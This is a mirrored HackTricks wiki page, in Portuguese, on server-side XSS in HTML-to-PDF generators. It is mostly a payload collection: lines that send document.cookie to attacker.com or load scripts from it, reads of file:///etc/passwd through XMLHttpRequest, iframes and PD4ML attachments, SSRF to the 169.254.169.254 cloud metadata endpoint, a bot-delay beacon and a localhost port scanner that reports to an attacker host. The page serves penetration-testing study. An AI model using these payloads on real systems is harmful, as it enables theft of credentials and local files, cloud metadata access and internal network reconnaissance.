mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			174 lines
		
	
	
		
			8.3 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			174 lines
		
	
	
		
			8.3 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| # Server Side XSS (Dynamic PDF)
 | |
| 
 | |
| {{#include ../../banners/hacktricks-training.md}}
 | |
| 
 | |
| ## Server Side XSS (Dynamic PDF)
 | |
| 
 | |
| Se uma página da web estiver criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
 | |
| Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **explorar** esse comportamento para causar um **Server XSS**.
 | |
| 
 | |
| Por favor, note que as tags `<script></script>` nem sempre funcionam, então você precisará de um método diferente para executar JS (por exemplo, explorando `<img` ).\
 | |
| Além disso, note que em uma exploração regular você será **capaz de ver/baixar o pdf criado**, então você poderá ver tudo que você **escreve via JS** (usando `document.write()` por exemplo). Mas, se você **não puder ver** o PDF criado, provavelmente precisará **extrair a informação fazendo requisições web para você** (Cego).
 | |
| 
 | |
| ### Geração de PDF popular
 | |
| 
 | |
| - **wkhtmltopdf** é conhecido por sua capacidade de converter HTML e CSS em documentos PDF, utilizando o motor de renderização WebKit. Esta ferramenta está disponível como um utilitário de linha de comando de código aberto, tornando-a acessível para uma ampla gama de aplicações.
 | |
| - **TCPDF** oferece uma solução robusta dentro do ecossistema PHP para geração de PDF. É capaz de lidar com imagens, gráficos e criptografia, mostrando sua versatilidade para criar documentos complexos.
 | |
| - Para aqueles que trabalham em um ambiente Node.js, **PDFKit** apresenta uma opção viável. Ele permite a geração de documentos PDF diretamente de HTML e CSS, fornecendo uma ponte entre conteúdo web e formatos imprimíveis.
 | |
| - Desenvolvedores Java podem preferir **iText**, uma biblioteca que não apenas facilita a criação de PDF, mas também suporta recursos avançados como assinaturas digitais e preenchimento de formulários. Seu conjunto abrangente de recursos a torna adequada para gerar documentos seguros e interativos.
 | |
| - **FPDF** é outra biblioteca PHP, distinguida por sua simplicidade e facilidade de uso. É projetada para desenvolvedores que buscam uma abordagem direta para a geração de PDF, sem a necessidade de recursos extensivos.
 | |
| 
 | |
| ## Payloads
 | |
| 
 | |
| ### Discovery
 | |
| ```markup
 | |
| <!-- Basic discovery, Write somthing-->
 | |
| <img src="x" onerror="document.write('test')" />
 | |
| <script>document.write(JSON.stringify(window.location))</script>
 | |
| <script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
 | |
| 
 | |
| <!--Basic blind discovery, load a resource-->
 | |
| <img src="http://attacker.com"/>
 | |
| <img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
 | |
| <script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
 | |
| <link rel=attachment href="http://attacker.com">
 | |
| ```
 | |
| ### SVG
 | |
| 
 | |
| Qualquer um dos payloads anteriores ou seguintes pode ser usado dentro deste payload SVG. Um iframe acessando o subdomínio Burpcollab e outro acessando o endpoint de metadados são apresentados como exemplos.
 | |
| ```markup
 | |
| <svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
 | |
| <g>
 | |
| <foreignObject width="800" height="500">
 | |
| <body xmlns="http://www.w3.org/1999/xhtml">
 | |
| <iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
 | |
| <iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
 | |
| </body>
 | |
| </foreignObject>
 | |
| </g>
 | |
| </svg>
 | |
| 
 | |
| 
 | |
| <svg width="100%" height="100%" viewBox="0 0 100 100"
 | |
| xmlns="http://www.w3.org/2000/svg">
 | |
| <circle cx="50" cy="50" r="45" fill="green"
 | |
| id="foo"/>
 | |
| <script type="text/javascript">
 | |
| // <![CDATA[
 | |
| alert(1);
 | |
| // ]]>
 | |
| </script>
 | |
| </svg>
 | |
| ```
 | |
| Você pode encontrar muitos **outros payloads SVG** em [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 | |
| 
 | |
| ### Divulgação de caminho
 | |
| ```markup
 | |
| <!-- If the bot is accessing a file:// path, you will discover the internal path
 | |
| if not, you will at least have wich path the bot is accessing -->
 | |
| <img src="x" onerror="document.write(window.location)" />
 | |
| <script> document.write(window.location) </script>
 | |
| ```
 | |
| ### Carregar um script externo
 | |
| 
 | |
| A melhor maneira de explorar essa vulnerabilidade é abusar dela para fazer o bot carregar um script que você controla localmente. Assim, você poderá alterar a carga útil localmente e fazer o bot carregá-la com o mesmo código toda vez.
 | |
| ```markup
 | |
| <script src="http://attacker.com/myscripts.js"></script>
 | |
| <img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
 | |
| ```
 | |
| ### Ler arquivo local / SSRF
 | |
| 
 | |
| > [!WARNING]
 | |
| > Altere `file:///etc/passwd` para `http://169.254.169.254/latest/user-data` por exemplo para **tentar acessar uma página da web externa (SSRF)**.
 | |
| >
 | |
| > Se SSRF for permitido, mas você **não conseguir acessar** um domínio ou IP interessante, [verifique esta página para possíveis contornos](../ssrf-server-side-request-forgery/url-format-bypass.md).
 | |
| ```markup
 | |
| <script>
 | |
| x=new XMLHttpRequest;
 | |
| x.onload=function(){document.write(btoa(this.responseText))};
 | |
| x.open("GET","file:///etc/passwd");x.send();
 | |
| </script>
 | |
| ```
 | |
| 
 | |
| ```markup
 | |
| <script>
 | |
| xhzeem = new XMLHttpRequest();
 | |
| xhzeem.onload = function(){document.write(this.responseText);}
 | |
| xhzeem.onerror = function(){document.write('failed!')}
 | |
| xhzeem.open("GET","file:///etc/passwd");
 | |
| xhzeem.send();
 | |
| </script>
 | |
| ```
 | |
| 
 | |
| ```markup
 | |
| <iframe src=file:///etc/passwd></iframe>
 | |
| <img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
 | |
| <link rel=attachment href="file:///root/secret.txt">
 | |
| <object data="file:///etc/passwd">
 | |
| <portal src="file:///etc/passwd" id=portal>
 | |
| <embed src="file:///etc/passwd>" width="400" height="400">
 | |
| <style><iframe src="file:///etc/passwd">
 | |
| <img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
 | |
| <meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
 | |
| ```
 | |
| 
 | |
| ```markup
 | |
| <annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
 | |
| ```
 | |
| ### Atraso do bot
 | |
| ```markup
 | |
| <!--Make the bot send a ping every 500ms to check how long does the bot wait-->
 | |
| <script>
 | |
| let time = 500;
 | |
| setInterval(()=>{
 | |
| let img = document.createElement("img");
 | |
| img.src = `https://attacker.com/ping?time=${time}ms`;
 | |
| time += 500;
 | |
| }, 500);
 | |
| </script>
 | |
| <img src="https://attacker.com/delay">
 | |
| ```
 | |
| ### Varredura de Portas
 | |
| ```markup
 | |
| <!--Scan local port and receive a ping indicating which ones are found-->
 | |
| <script>
 | |
| const checkPort = (port) => {
 | |
| fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
 | |
| let img = document.createElement("img");
 | |
| img.src = `http://attacker.com/ping?port=${port}`;
 | |
| });
 | |
| }
 | |
| 
 | |
| for(let i=0; i<1000; i++) {
 | |
| checkPort(i);
 | |
| }
 | |
| </script>
 | |
| <img src="https://attacker.com/startingScan">
 | |
| ```
 | |
| ### [SSRF](../ssrf-server-side-request-forgery/)
 | |
| 
 | |
| Essa vulnerabilidade pode ser transformada muito facilmente em um SSRF (já que você pode fazer o script carregar recursos externos). Então, apenas tente explorá-la (ler alguns metadados?).
 | |
| 
 | |
| ### Attachments: PD4ML
 | |
| 
 | |
| Existem alguns motores de HTML para PDF que permitem **especificar anexos para o PDF**, como **PD4ML**. Você pode abusar dessa funcionalidade para **anexar qualquer arquivo local** ao PDF.\
 | |
| Para abrir o anexo, eu abri o arquivo com **Firefox e cliquei duas vezes no símbolo do clipe de papel** para **armazenar o anexo** como um novo arquivo.\
 | |
| Capturar a **resposta PDF** com burp também deve **mostrar o anexo em texto claro** dentro do PDF.
 | |
| ```html
 | |
| <!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
 | |
| <html>
 | |
| <pd4ml:attachment
 | |
| src="/etc/passwd"
 | |
| description="attachment sample"
 | |
| icon="Paperclip" />
 | |
| </html>
 | |
| ```
 | |
| ## Referências
 | |
| 
 | |
| - [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
 | |
| - [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
 | |
| - [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
 | |
| - [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
 | |
| 
 | |
| {{#include ../../banners/hacktricks-training.md}}
 |